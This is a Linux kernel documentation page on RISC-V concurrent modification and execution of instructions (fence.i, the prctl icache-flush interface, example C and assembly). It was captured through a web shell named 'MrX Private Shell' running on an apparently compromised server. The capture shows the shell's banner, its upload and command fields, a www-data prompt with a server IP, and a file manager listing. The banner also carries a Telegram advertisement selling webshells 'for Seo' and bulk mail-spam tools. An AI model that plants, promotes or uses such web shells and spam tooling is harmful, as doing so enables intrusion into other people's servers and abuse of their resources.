__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.138: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Concurrent Modification and Execution of Instructions (CMODX) for RISC-V Linux &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="Feature status on riscv architecture" href="features.html" />
    <link rel="prev" title="Vector Extension Support for RISC-V Linux" href="vector.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="../index.html">CPU architectures</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../arc/index.html">ARC architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm/index.html">ARM Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm64/index.html">ARM64 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../loongarch/index.html">LoongArch Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../m68k/index.html">m68k Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../mips/index.html">MIPS-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../nios2/index.html">Nios II Specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../openrisc/index.html">OpenRISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../parisc/index.html">PA-RISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../powerpc/index.html">powerpc</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="index.html">RISC-V architecture</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="acpi.html">ACPI on RISC-V</a></li>
<li class="toctree-l3"><a class="reference internal" href="boot.html">RISC-V Kernel Boot Requirements and Constraints</a></li>
<li class="toctree-l3"><a class="reference internal" href="boot-image-header.html">Boot image header in RISC-V Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="vm-layout.html">Virtual Memory Layout on RISC-V Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="hwprobe.html">RISC-V Hardware Probing Interface</a></li>
<li class="toctree-l3"><a class="reference internal" href="patch-acceptance.html">arch/riscv maintenance guidelines for developers</a></li>
<li class="toctree-l3"><a class="reference internal" href="uabi.html">RISC-V Linux User ABI</a></li>
<li class="toctree-l3"><a class="reference internal" href="vector.html">Vector Extension Support for RISC-V Linux</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">Concurrent Modification and Execution of Instructions (CMODX) for RISC-V Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="features.html">Feature status on riscv architecture</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../s390/index.html">s390 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sh/index.html">SuperH Interfaces Guide</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sparc/index.html">Sparc Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../x86/index.html">x86-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../xtensa/index.html">Xtensa Architecture</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/arch/riscv/cmodx.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="concurrent-modification-and-execution-of-instructions-cmodx-for-risc-v-linux">
<h1>Concurrent Modification and Execution of Instructions (CMODX) for RISC-V Linux<a class="headerlink" href="#concurrent-modification-and-execution-of-instructions-cmodx-for-risc-v-linux" title="Link to this heading">¶</a></h1>
<p>CMODX is a programming technique where a program executes instructions that were
modified by the program itself. Instruction storage and the instruction cache
(icache) are not guaranteed to be synchronized on RISC-V hardware. Therefore, the
program must enforce its own synchronization with the unprivileged fence.i
instruction.</p>
<section id="cmodx-in-the-kernel-space">
<h2>CMODX in the Kernel Space<a class="headerlink" href="#cmodx-in-the-kernel-space" title="Link to this heading">¶</a></h2>
</section>
<section id="dynamic-ftrace">
<h2>Dynamic ftrace<a class="headerlink" href="#dynamic-ftrace" title="Link to this heading">¶</a></h2>
<p>Essentially, dynamic ftrace directs the control flow by inserting a function
call at each patchable function entry, and patches it dynamically at runtime to
enable or disable the redirection. In the case of RISC-V, 2 instructions,
AUIPC + JALR, are required to compose a function call. However, it is impossible
to patch 2 instructions and expect that a concurrent read-side executes them
without a race condition. This series makes atmoic code patching possible in
RISC-V ftrace. Kernel preemption makes things even worse as it allows the old
state to persist across the patching process with <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">stop_machine()</span></code>.</p>
<p>In order to get rid of <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">stop_machine()</span></code> and run dynamic ftrace with full kernel
preemption, we partially initialize each patchable function entry at boot-time,
setting the first instruction to AUIPC, and the second to NOP. Now, atmoic
patching is possible because the kernel only has to update one instruction.
According to Ziccif, as long as an instruction is naturally aligned, the ISA
guarantee an  atomic update.</p>
<p>By fixing down the first instruction, AUIPC, the range of the ftrace trampoline
is limited to +-2K from the predetermined target, ftrace_caller, due to the lack
of immediate encoding space in RISC-V. To address the issue, we introduce
CALL_OPS, where an 8B naturally align metadata is added in front of each
pacthable function. The metadata is resolved at the first trampoline, then the
execution can be derect to another custom trampoline.</p>
</section>
<section id="cmodx-in-the-user-space">
<h2>CMODX in the User Space<a class="headerlink" href="#cmodx-in-the-user-space" title="Link to this heading">¶</a></h2>
<p>Though fence.i is an unprivileged instruction, the default Linux ABI prohibits
the use of fence.i in userspace applications. At any point the scheduler may
migrate a task onto a new hart. If migration occurs after the userspace
synchronized the icache and instruction storage with fence.i, the icache on the
new hart will no longer be clean. This is due to the behavior of fence.i only
affecting the hart that it is called on. Thus, the hart that the task has been
migrated to may not have synchronized instruction storage and icache.</p>
<p>There are two ways to solve this problem: use the <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">riscv_flush_icache()</span></code> syscall,
or use the <code class="docutils literal notranslate"><span class="pre">PR_RISCV_SET_ICACHE_FLUSH_CTX</span></code> <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">prctl()</span></code> and emit fence.i in
userspace. The syscall performs a one-off icache flushing operation. The prctl
changes the Linux ABI to allow userspace to emit icache flushing operations.</p>
<p>As an aside, “deferred” icache flushes can sometimes be triggered in the kernel.
At the time of writing, this only occurs during the <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">riscv_flush_icache()</span></code> syscall
and when the kernel uses <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">copy_to_user_page()</span></code>. These deferred flushes happen only
when the memory map being used by a hart changes. If the <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">prctl()</span></code> context caused
an icache flush, this deferred icache flush will be skipped as it is redundant.
Therefore, there will be no additional flush when using the <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">riscv_flush_icache()</span></code>
syscall inside of the <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">prctl()</span></code> context.</p>
</section>
<section id="prctl-interface">
<h2>prctl() Interface<a class="headerlink" href="#prctl-interface" title="Link to this heading">¶</a></h2>
<p>Call <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">prctl()</span></code> with <code class="docutils literal notranslate"><span class="pre">PR_RISCV_SET_ICACHE_FLUSH_CTX</span></code> as the first argument. The
remaining arguments will be delegated to the riscv_set_icache_flush_ctx
function detailed below.</p>
<dl class="c function">
<dt class="sig sig-object c" id="c.riscv_set_icache_flush_ctx">
<span class="kt"><span class="pre">int</span></span><span class="w"> </span><span class="sig-name descname"><span class="n"><span class="pre">riscv_set_icache_flush_ctx</span></span></span><span class="sig-paren">(</span><span class="kt"><span class="pre">unsigned</span></span><span class="w"> </span><span class="kt"><span class="pre">long</span></span><span class="w"> </span><span class="n"><span class="pre">ctx</span></span>, <span class="kt"><span class="pre">unsigned</span></span><span class="w"> </span><span class="kt"><span class="pre">long</span></span><span class="w"> </span><span class="n"><span class="pre">scope</span></span><span class="sig-paren">)</span><a class="headerlink" href="#c.riscv_set_icache_flush_ctx" title="Link to this definition">¶</a><br /></dt>
<dd><p>Enable/disable icache flushing instructions in userspace.</p>
</dd></dl>

<div class="kernelindent docutils container">
<p><strong>Parameters</strong></p>
<dl class="simple">
<dt><code class="docutils literal notranslate"><span class="pre">unsigned</span> <span class="pre">long</span> <span class="pre">ctx</span></code></dt><dd><p>Set the type of icache flushing instructions permitted/prohibited in
userspace. Supported values described below.</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">unsigned</span> <span class="pre">long</span> <span class="pre">scope</span></code></dt><dd><p>Set scope of where icache flushing instructions are allowed to be
emitted. Supported values described below.</p>
</dd>
</dl>
<p><strong>Description</strong></p>
<p>Supported values for ctx:</p>
<ul class="simple">
<li><p><code class="docutils literal notranslate"><span class="pre">PR_RISCV_CTX_SW_FENCEI_ON</span></code>: Allow fence.i in user space.</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">PR_RISCV_CTX_SW_FENCEI_OFF</span></code>: Disallow fence.i in user space. All threads in
a process will be affected when <code class="docutils literal notranslate"><span class="pre">scope</span> <span class="pre">==</span> <span class="pre">PR_RISCV_SCOPE_PER_PROCESS</span></code>.
Therefore, caution must be taken; use this flag only when you can guarantee
that no thread in the process will emit fence.i from this point onward.</p></li>
</ul>
<p>Supported values for scope:</p>
<ul class="simple">
<li><dl class="simple">
<dt><code class="docutils literal notranslate"><span class="pre">PR_RISCV_SCOPE_PER_PROCESS</span></code>: Ensure the icache of any thread in this process</dt><dd><p>is coherent with instruction storage upon
migration.</p>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt><code class="docutils literal notranslate"><span class="pre">PR_RISCV_SCOPE_PER_THREAD</span></code>: Ensure the icache of the current thread is</dt><dd><p>coherent with instruction storage upon
migration.</p>
</dd>
</dl>
</li>
</ul>
<p>When <code class="docutils literal notranslate"><span class="pre">scope</span> <span class="pre">==</span> <span class="pre">PR_RISCV_SCOPE_PER_PROCESS</span></code>, all threads in the process are
permitted to emit icache flushing instructions. Whenever any thread in the
process is migrated, the corresponding hart’s icache will be guaranteed to be
consistent with instruction storage. This does not enforce any guarantees
outside of migration. If a thread modifies an instruction that another thread
may attempt to execute, the other thread must still emit an icache flushing
instruction before attempting to execute the potentially modified
instruction. This must be performed by the user-space program.</p>
<p>In per-thread context (eg. <code class="docutils literal notranslate"><span class="pre">scope</span> <span class="pre">==</span> <span class="pre">PR_RISCV_SCOPE_PER_THREAD</span></code>) only the
thread calling this function is permitted to emit icache flushing
instructions. When the thread is migrated, the corresponding hart’s icache
will be guaranteed to be consistent with instruction storage.</p>
<p>On kernels configured without SMP, this function is a nop as migrations
across harts will not occur.</p>
</div>
<p>Example usage:</p>
<p>The following files are meant to be compiled and linked with each other. The
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">modify_instruction()</span></code> function replaces an add with 0 with an add with one,
causing the instruction sequence in <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">get_value()</span></code> to change from returning a zero
to returning a one.</p>
<p>cmodx.c:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>#include &lt;stdio.h&gt;
#include &lt;sys/prctl.h&gt;

extern int get_value();
extern void modify_instruction();

int main()
{
        int value = get_value();
        printf(&quot;Value before cmodx: %d\n&quot;, value);

        // Call prctl before first fence.i is called inside modify_instruction
        prctl(PR_RISCV_SET_ICACHE_FLUSH_CTX, PR_RISCV_CTX_SW_FENCEI_ON, PR_RISCV_SCOPE_PER_PROCESS);
        modify_instruction();
        // Call prctl after final fence.i is called in process
        prctl(PR_RISCV_SET_ICACHE_FLUSH_CTX, PR_RISCV_CTX_SW_FENCEI_OFF, PR_RISCV_SCOPE_PER_PROCESS);

        value = get_value();
        printf(&quot;Value after cmodx: %d\n&quot;, value);
        return 0;
}
</pre></div>
</div>
<p>cmodx.S:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>.option norvc

.text
.global modify_instruction
modify_instruction:
lw a0, new_insn
lui a5,%hi(old_insn)
sw  a0,%lo(old_insn)(a5)
fence.i
ret

.section modifiable, &quot;awx&quot;
.global get_value
get_value:
li a0, 0
old_insn:
addi a0, a0, 0
ret

.data
new_insn:
addi a0, a0, 1
</pre></div>
</div>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/arch/riscv/cmodx.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
acpi.html File 10.02 KB 0644
boot-image-header.html File 13.01 KB 0644
boot.html File 21.19 KB 0644
cmodx.html File 20.78 KB 0644
features.html File 18.89 KB 0644
hwprobe.html File 40.22 KB 0644
index.html File 11.09 KB 0644
patch-acceptance.html File 12.55 KB 0644
uabi.html File 15.08 KB 0644
vector.html File 17.76 KB 0644
vm-layout.html File 20.06 KB 0644
Filemanager